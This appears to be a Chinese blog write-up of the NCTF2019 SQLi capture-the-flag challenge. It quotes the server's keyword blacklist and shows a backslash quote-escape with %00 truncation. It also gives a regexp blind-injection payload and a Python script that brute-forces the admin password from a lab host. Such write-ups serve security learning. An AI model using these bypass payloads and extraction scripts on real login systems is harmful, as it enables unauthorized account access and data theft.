[NCTF2019]SQLi

一、具体步骤

上来先尝试:

username:admin
passwd: 1' or 1=1;#

发现被过滤。

参考wp,发现在robots.txt有hint。

hint:

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";




If $_POST['passwd'] === admin's password,


Then you will get the flag

过滤的东西挺多的,他甚至连admin都过滤了😭

新方法:转义反引号

对于查询语句:

select * from users where username='' and passwd=''

可以让username = \ 那么反引号就会被转义成字符,效果就会等同于:

select * from users where username='用户名' '

这里的用户名是 \' and passwd=,不过这样还多了一个反引号。

因为黑名单的问题,常用的截断方式 # --+ 都用不了,学习到了一种新的截断方式:%00

接下来的问题就是怎么获取admin的密码了。

学习到了一中新的注入方式:regexp注入。

类似与bool盲注,如果正则匹配成功就会出现特定信息。

相要获取这个特定信息,可以现在burpsuite上跑一遍26个字母(也就是跑密码的首字母)

跑完后可以知道这个特定信息是 welcome

构造payload:

username=\&passwd=||/**/passwd/**/regexp/**/"^{}";%00

{}处可以替换成任意字母数字,^代表匹配开头

原理:

因为用户名是\' and passwd=,肯定是不在数据库中的,而且数据库里应该就admin一个用户,不然这方法应该用不了(猜的)

||前半部分的真值为0,查找是否成功取决于后半部分的正则匹配,这就达到了与bool盲注类似的效果。

爆破密码的脚本:

import requests
import string


url = "http://6536008f-c820-4483-ab79-321648fba7b3.node4.buuoj.cn:81/"
payload = "||/**/passwd/**/regexp/**/\"^{}\";\x00"
my_string = string.ascii_lowercase + string.ascii_uppercase + string.digits + '_' #flag的构成要素
flag = ''


for i in range(1,40):
    print(i)
    for j in my_string:
        py = payload.format(flag + j)
        data = {
            "username" : "\\",
            "passwd" : py
        }
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            flag += j
            print(flag)
            break

密码是:you_will_never_know7788990

登录后就拿到flag了。

值得注意的地方:

python中传递%00的方式:

1.直接用\x00

2.通过parse.unquote(%00),这个函数专门用来进行url解码

二、总结

  1. 可以通过转义反引号的方式绕过某些过滤

  1. 可以用%00进行截断操作

  1. 新注入方式:regexp注入

三、参考文章

1.[NCTF2019]SQLi(Regexp注入)_D.MIND的博客-CSDN博客_[nctf2019]sqli

2.刷题记录-[NCTF2019]SQLi_Arnoldqqq的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值